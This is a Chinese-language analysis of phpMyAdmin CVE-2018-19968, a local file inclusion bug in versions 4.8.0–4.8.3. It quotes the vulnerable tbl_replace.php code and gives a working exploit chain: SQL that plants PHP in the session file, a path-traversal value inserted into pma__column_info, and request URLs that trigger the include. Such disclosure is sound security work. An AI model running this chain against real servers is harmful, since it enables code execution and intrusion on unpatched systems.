 phpMyAdmin 发布安全公告PMASA-2018-6修复了一个由Transformation特性引起的本地文件读取漏洞,影响4.8.0~4.8.3版本,CVE编号CVE-2018-19968。 漏洞细节 在文件tbl_replace.php中: - $mime_map = Transformations::getMIME($GLOBALS['db'], $GLOBALS['table']);
- [...]
-
- if (!empty($mime_map[$column_name])
- && !empty($mime_map[$column_name]['input_transformation'])
- ) {
- $filename = 'libraries/classes/Plugins/Transformations/'
- . $mime_map[$column_name]['input_transformation'];
- if (is_file($filename)) {
- include_once $filename;
- $classname = Transformations::getClassName($filename);
-
- $transformation_plugin = new $classname();
- $transformation_options = Transformations::getOptions(
- $mime_map[$column_name]['input_transformation_options']
- );
- $current_value = $transformation_plugin->applyTransformation(
- $current_value, $transformation_options
- );
-
-
- if (method_exists($transformation_plugin, 'isSuccess')
- && !$transformation_plugin->isSuccess()
- ) {
- $insert_fail = true;
- $row_skipped = true;
- $insert_errors[] = sprintf(
- __('Row: %1$s, Column: %2$s, Error: %3$s'),
- $rownumber, $column_name,
- $transformation_plugin->getError()
- );
- }
- }
- }
拼接到$filename的变量$mime_map[$column_name]['input_transformation']来自于数据表pma__column_info中的input_transformation字段,因为数据库中的内容用户可控,从而产生了任意文件包含漏洞。 漏洞利用 创建数据库,并将PHP代码写入SESSION文件中 - CREATE DATABASE foo;
- CREATE TABLE foo.bar ( baz VARCHAR(100) PRIMARY KEY );
- INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';
访问 http://test.cesafe.com/chk_rel.php?fixall_pmadb=1&db=foo在数据库foo中生成phpMyAdmin的配置表。 将篡改后的Transformation数据插入表pma__columninfo中:将sess中的替换成你的会话ID,即COOKIE中phpMyAdmin的值. - INSERT INTO pma__column_infoSELECT '1', 'foo', 'bar', 'baz', 'plop',
- 'plop', 'plop', 'plop',
- '../../../../../../../../tmp/sess_***','plop';
访问: http://test.cesafe.com/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1 如果利用成功将会自动包含含有恶意代码的SESSION文件.
|